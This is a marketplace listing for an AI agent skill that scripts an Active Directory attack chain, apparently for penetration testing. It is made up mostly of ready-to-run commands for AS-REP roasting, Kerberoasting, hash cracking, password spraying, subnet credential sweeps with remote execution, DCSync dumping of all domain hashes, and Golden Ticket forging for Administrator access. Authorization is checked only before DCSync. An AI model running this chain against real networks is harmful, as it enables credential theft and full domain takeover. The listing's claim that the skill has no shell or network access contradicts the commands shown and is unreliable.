# Ad Exploitation

> >

- **Type:** Skill
- **Install:** `agentstack add skill-douglasrao-claude-pentest-skills-ad-exploitation`
- **Verified:** Yes — security-reviewed for prompt injection and unsafe behavior
- **Seller:** [DouglasRao](https://agentstack.voostack.com/s/douglasrao)
- **Installs:** 0
- **Category:** [AI & ML](https://agentstack.voostack.com/c/ai-and-ml)
- **Latest version:** 0.1.0
- **License:** MIT
- **Upstream author:** [DouglasRao](https://github.com/DouglasRao)
- **Source:** https://github.com/DouglasRao/Claude-Pentest-Skills/tree/main/skills/ad-exploitation

## Install

```sh
agentstack add skill-douglasrao-claude-pentest-skills-ad-exploitation
```

Requires the [AgentStack CLI](https://agentstack.voostack.com/docs/cli). Works with Claude Code, Cursor, and any MCP-compatible agent.

## About

# AD Exploitation — Credential Attacks & Domain Domination

## Architecture

```
scripts/
├── common_ad.sh    # Shared functions (logging, has_tool, phase_done, emit_summary)
└── ad_attacks.sh   # PHASES 1-3: credential attacks, network sweep, DCSync
```

---

## Initial Setup — Context from ad-recon

Point to the output directory from a prior `ad-recon` run when available:

```bash
DC_IP="10.10.10.100"
DOMAIN="corp.local"
USERNAME=""        # leave empty to start with unauthenticated attacks (AS-REP Roasting)
PASSWORD=""
NTLM_HASH=""       # format: LM:NT or :NT

# ad-recon output directory (feeds users.txt, asrep_hashes.txt, kerberoast_hashes.txt)
RECON_OUT="$(pwd)/corp-local"

OUT="$(pwd)/corp-local-exploit"
SCRIPTS="$HOME/.claude/skills/ad-exploitation/scripts"

mkdir -p "$OUT"/{hashes,tickets,loot,enum}

# Link or copy recon files so scripts can find them
[ -d "$RECON_OUT" ] && {
  cp -n "$RECON_OUT/enum/users.txt"             "$OUT/enum/users.txt"         2>/dev/null || true
  cp -n "$RECON_OUT/hashes/asrep_hashes.txt"    "$OUT/hashes/asrep_hashes.txt" 2>/dev/null || true
  cp -n "$RECON_OUT/hashes/kerberoast_hashes.txt" "$OUT/hashes/kerberoast_hashes.txt" 2>/dev/null || true
}
```

If no prior `ad-recon` was run, ask the user for `DC_IP`, `DOMAIN`, and a `users.txt` before proceeding.

Create progress tasks with TaskCreate:
```
"PHASE 1 — Credential Attacks (AS-REP Roasting, Kerberoasting, hash cracking)"
"PHASE 2 — Credential Validation Sweep (CME across subnet)"
"PHASE 3 — Domain Domination (DCSync, Golden Ticket)"
"PHASE 4 — Lateral Movement & Persistence"
"PHASE 5 — Report"
```

---

## Tool Priority

### 1. CLI — always first
```
impacket-GetNPUsers     — AS-REP Roasting (unauthenticated)
impacket-GetUserSPNs    — Kerberoasting (requires valid creds)
hashcat > john          — hash cracking
crackmapexec / netexec  — credential sweep, pass-the-hash validation
evil-winrm              — WinRM shell
impacket-psexec         — SMB shell (admin share)
impacket-smbexec        — SMB shell (no admin share needed)
impacket-secretsdump    — DCSync, LSA dump
impacket-ticketer       — Golden / Silver Ticket generation
kerbrute                — password spraying (warn about lockout first)
xfreerdp / rdesktop     — RDP access
```

### 2. MCPs (when available)
```
mcp__hexstrike-ai__*    — netexec_scan, hashcat_crack, john_crack, metasploit_run
mcp__Notion__*          — publish final report
```

---

## Operational Rules

- **Always check `$RECON_OUT/enum/users.txt`** before running AS-REP Roasting — it's the main input
- **Password spraying**: always enumerate lockout policy first (`net accounts /domain` or enum4linux output); default to 1 attempt per user
- **Store all obtained credentials** — cleartext passwords and hashes are evidence of exploitation
- **DCSync is highly privileged** — warn user, confirm authorization before running
- **Kerberos clock skew**: if Kerberos errors occur, sync with `sudo ntpdate $DC_IP`
- **Windows commands** (PowerShell, Rubeus, Mimikatz): present clearly labeled as "run on Windows target"

---

## PHASE 1 — Credential Attacks

```bash
bash "$SCRIPTS/ad_attacks.sh" "$DC_IP" "$DOMAIN" "$OUT" --phase=1
# With credentials (for Kerberoasting):
bash "$SCRIPTS/ad_attacks.sh" "$DC_IP" "$DOMAIN" "$OUT" "$USERNAME" "$PASSWORD" --phase=1
```

### 3.1 AS-REP Roasting — no credentials required

Uses `$OUT/enum/users.txt` (from ad-recon). Identifies accounts with `UF_DONT_REQUIRE_PREAUTH`.

```bash
impacket-GetNPUsers "$DOMAIN/" \
  -no-pass -usersfile "$OUT/enum/users.txt" \
  -dc-ip "$DC_IP" -format hashcat \
  -outputfile "$OUT/hashes/asrep_hashes.txt"
```

If hashes found → crack immediately (step 3.3).

### 3.2 Kerberoasting — requires valid domain credentials

```bash
impacket-GetUserSPNs "$DOMAIN/$USERNAME:$PASSWORD" \
  -dc-ip "$DC_IP" -outputfile "$OUT/hashes/kerberoast_hashes.txt"
# With hash:
impacket-GetUserSPNs "$DOMAIN/$USERNAME" -hashes "$NTLM_HASH" \
  -dc-ip "$DC_IP" -outputfile "$OUT/hashes/kerberoast_hashes.txt"
```

### 3.3 Hash Cracking

```bash
ROCKYOU=$(find rockyou.txt in /usr/share/wordlists or ~/wordlists)

# AS-REP (mode 18200)
hashcat -m 18200 "$OUT/hashes/asrep_hashes.txt" "$ROCKYOU" --force -o "$OUT/hashes/asrep_cracked.txt"

# Kerberoast (mode 13100)
hashcat -m 13100 "$OUT/hashes/kerberoast_hashes.txt" "$ROCKYOU" --force -o "$OUT/hashes/kerberoast_cracked.txt"

# NTLM (mode 1000)
hashcat -m 1000 "$OUT/hashes/ntlm_hashes.txt" "$ROCKYOU" --force -o "$OUT/hashes/ntlm_cracked.txt"
```

Fallback to john if hashcat not available.

### 3.4 Password Spraying (only after checking lockout policy)

```bash
# Check lockout policy first (from ad-recon enum4linux output or:)
rpcclient -U "" -N "$DC_IP" -c "querydominfo" 2>/dev/null | grep -i "lockout"

# Spray with kerbrute (1 attempt per user — safe default)
kerbrute passwordspray -d "$DOMAIN" --dc "$DC_IP" "$OUT/enum/users.txt" "Password123"
```

---

## PHASE 2 — Credential Validation Sweep

Given valid credentials (cleartext or NTLM hash), validate across the full subnet.

```bash
bash "$SCRIPTS/ad_attacks.sh" "$DC_IP" "$DOMAIN" "$OUT" "$USERNAME" "$CREDENTIAL" --phase=2
```

**What it runs:**
- crackmapexec/netexec SMB sweep of `/24` — identifies hosts where creds are valid + admin access `(Pwn3d!)`
- crackmapexec/netexec WinRM sweep — identifies hosts accessible via evil-winrm
- Outputs: `$OUT/enum/cme_sweep.txt`, `$OUT/enum/admin_hosts.txt`, `$OUT/enum/cme_winrm.txt`

Read JSON summary. Flag `(Pwn3d!)` hosts — they are the entry points for `ad-postexploitation`.

**Quick access validation (do not establish full sessions here — that belongs in ad-postexploitation):**
```bash
# Just validate — confirm access, don't run full lateral movement yet
$CME smb "$TARGET_IP" -u "$USERNAME" -H "$NT_HASH" -x "whoami"
```

---

## PHASE 3 — Domain Domination

### DCSync — dump all domain hashes

```bash
bash "$SCRIPTS/ad_attacks.sh" "$DC_IP" "$DOMAIN" "$OUT" "$USERNAME" "$CREDENTIAL" --phase=3
```

```bash
# Requires Domain Admin OR DCSync rights (GetChanges + GetChangesAll on domain object)
impacket-secretsdump "$DOMAIN/$USERNAME:$PASSWORD@$DC_IP" -just-dc-ntlm \
  | tee "$OUT/loot/dcsync_hashes.txt"
# With hash:
impacket-secretsdump "$DOMAIN/$USERNAME@$DC_IP" -hashes "$NTLM_HASH" -just-dc-ntlm \
  | tee "$OUT/loot/dcsync_hashes.txt"

# Extract key hashes
grep -i "krbtgt"       "$OUT/loot/dcsync_hashes.txt" | head -1 > "$OUT/loot/krbtgt_hash.txt"
grep -i "administrator" "$OUT/loot/dcsync_hashes.txt" | head -1 > "$OUT/loot/admin_hash.txt"
```

### Golden Ticket

```bash
# Requires: krbtgt NTLM hash + domain SID (from DCSync output)
KRBTGT_HASH=$(cat "$OUT/loot/krbtgt_hash.txt" | cut -d: -f4)
DOMAIN_SID=$(impacket-getPac "$DOMAIN/$USERNAME:$PASSWORD@$DC_IP" 2>/dev/null | grep "Domain SID" | awk '{print $NF}')

impacket-ticketer -nthash "$KRBTGT_HASH" -domain-sid "$DOMAIN_SID" -domain "$DOMAIN" Administrator
export KRB5CCNAME="Administrator.ccache"
impacket-psexec -k -no-pass "$DOMAIN/Administrator@$DC_HOSTNAME"
```

### Silver Ticket

```bash
# Requires: service account NTLM hash + domain SID + SPN
impacket-ticketer -nthash "$SVC_HASH" -domain-sid "$DOMAIN_SID" -domain "$DOMAIN" \
  -spn "cifs/$TARGET_HOSTNAME" Administrator
```

### BloodHound Attack Paths (if data collected in ad-recon)

```bash
# Import $RECON_OUT/bloodhound/*.zip into BloodHound GUI
# Key Cypher queries to prioritize attacks:
#   Shortest Paths to Domain Admins
#   Find Principals with DCSync Rights
#   Kerberoastable Users with path to DA
#   Computers with Unconstrained Delegation
```

BloodHound identifies the most efficient paths from cracked accounts to Domain Admin.
Lateral movement, ACL abuse, delegation attacks, and privilege escalation are handled in `ad-postexploitation`.

---

## PHASE 4 — Handoff to ad-postexploitation

Once Phase 4 identifies hosts where credentials are valid (`admin_hosts.txt`) and Phase 5 obtains
the krbtgt hash, pass all context to `ad-postexploitation`:

```bash
POSTEX_CONTEXT="
  DC_IP=$DC_IP
  DOMAIN=$DOMAIN
  USERNAME=$USERNAME  (or cracked account)
  NT_HASH=$NT_HASH
  ADMIN_HOSTS=$OUT/enum/admin_hosts.txt
  WINRM_HOSTS=$OUT/enum/cme_winrm.txt
  KRBTGT_HASH=$(cat $OUT/loot/krbtgt_hash.txt 2>/dev/null)
  BLOODHOUND_ZIP=$RECON_OUT/bloodhound/
"
# Load ad-postexploitation skill with this context
```

---

## PHASE 5 — Report

```
## AD EXPLOITATION REPORT — [DOMAIN] — [DATE]
## DC: $DC_IP  |  Recon: $RECON_OUT  |  Output: $OUT

### Access Achieved
- Domain Admin: [Yes/No]
- Accounts compromised: [list with method]
- Hosts with admin access: [count]

### Critical Findings
1. [CRITICAL] Domain Admin achieved via: [attack path]
2. [CRITICAL] DCSync completed — krbtgt hash obtained
3. [CRITICAL] AS-REP Roastable accounts: [list + cracked passwords]
4. [HIGH] Kerberoastable accounts: [list + cracked passwords]
5. [HIGH] Pass-the-hash successful on: [host list]
6. [MEDIUM] Password spraying: [accounts found]

### Attack Path Summary
[Step-by-step narrative from initial foothold to Domain Admin]

### Persistence Mechanisms
[List backdoors, created accounts, Golden Tickets — with cleanup instructions]

### Remediation
- Enforce pre-auth on all accounts (eliminates AS-REP Roasting)
- Use strong, unique passwords for service accounts (mitigates Kerberoasting)
- Enable SMB signing (prevents relay attacks)
- Audit and restrict DCSync rights
- Rotate krbtgt password twice (invalidates Golden Tickets)
- Review BloodHound attack paths and break privilege chains
```

If Notion MCP is available, publish with `mcp__Notion__notion-create-pages`.

---

## Evidence Capture

Capture evidence from every completed attack phase. Essential for the AD exploitation report.

```bash
mkdir -p "$OUT/evidence"

# Terminal screenshot (macOS)
screencapture -x "$OUT/evidence/exploit_$(date +%Y%m%d_%H%M%S)_$DESCRIPTION.png"

# Terminal screenshot (Linux)
scrot "$OUT/evidence/exploit_$(date +%Y%m%d_%H%M%S)_$DESCRIPTION.png"

# Full attack session log
script -q -a "$OUT/evidence/attack_session_$(date +%Y%m%d_%H%M%S).log"
```

**What to capture per phase:**
- **Phase 1 — AS-REP Roasting**: GetNPUsers command + list of hashes obtained (before cracking)
- **Phase 1 — Hash cracking**: hashcat output showing `Status: Cracked` with the cracked passwords
- **Phase 1 — Password Spraying**: kerbrute output confirming valid accounts found
- **Phase 2 — CME Sweep**: netexec/crackmapexec output with `(Pwn3d!)` visible for compromised hosts
- **Phase 3 — DCSync**: full secretsdump output with extracted hashes — proof of total domain compromise
- **Phase 3 — Golden Ticket**: impacket-ticketer generating the ticket + psexec with `-k` confirming access as Administrator

**Submit to Notion:**
```
mcp__Notion__notion-create-pages  — create AD exploitation page per attack phase
mcp__Notion__notion-update-page   — attach screenshots per phase (CME Pwn3d, DCSync, Golden Ticket)
```

---

## MCP Integration (when available)

### hexstrike-ai / Kali MCP (`mcp__hexstrike-ai__*`)
Use for: `netexec_scan`, `hashcat_crack`, `john_crack`, `smbmap_scan`, `responder_credential_harvest`.

### Notion (`mcp__Notion__*`)
Publish final report. Link to ad-recon report page. Create subpage per critical finding.

---

## Execution Modes

| Mode | When to use | What runs |
|------|-------------|-----------|
| `--quick` | Fast attack from recon output | Phase 1 (AS-REP + cracking) + Phase 2 (sweep) |
| `--full` | Full attack chain | Phases 1 → 2 → 3 + handoff context |
| `--dcsync` | Already have DA creds | Phase 3 only |
| `--spray` | Credential spraying | Phase 1.4 only (after lockout check) |

---

## Operational Notes

- **Recon linkage**: always check `$RECON_OUT/enum/users.txt` and `$RECON_OUT/hashes/` before running — ad-recon may have already collected AS-REP hashes
- **NTLM hash format**: impacket accepts `LM:NT` or `:NT` (pad LM with `aad3b435b51404eeaad3b435b51404ee:`)
- **Token efficiency**: scripts emit only JSON summaries — do not print full tool output to Claude context
- **BloodHound**: run key queries before manual attack attempts — saves time by identifying the shortest paths

## Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

- **Author:** [DouglasRao](https://github.com/DouglasRao)
- **Source:** [DouglasRao/Claude-Pentest-Skills](https://github.com/DouglasRao/Claude-Pentest-Skills)
- **License:** MIT

Install and usage instructions live in the source repository linked above.

## Pricing

- **Free** — Free

## Security capabilities

Automated source analysis of v0.1.0 — what this tool can access:

- **Network access:** no
- **Filesystem access:** no
- **Shell / process execution:** no
- **Environment & secrets:** no
- **Dynamic code execution:** no

*"Yes" means the capability is present in the source — more access means more to trust, not that it is unsafe.*


## Versions

- **0.1.0** — security scan: passed — Imported from the upstream source.

## Links

- Listing page: https://agentstack.voostack.com/l/skill-douglasrao-claude-pentest-skills-ad-exploitation
- Seller: https://agentstack.voostack.com/s/douglasrao
- Browse the marketplace: https://agentstack.voostack.com/browse

---
Listed on AgentStack — the marketplace for AI agent skills and MCP servers. Every listing is security-reviewed. Creators keep 70%.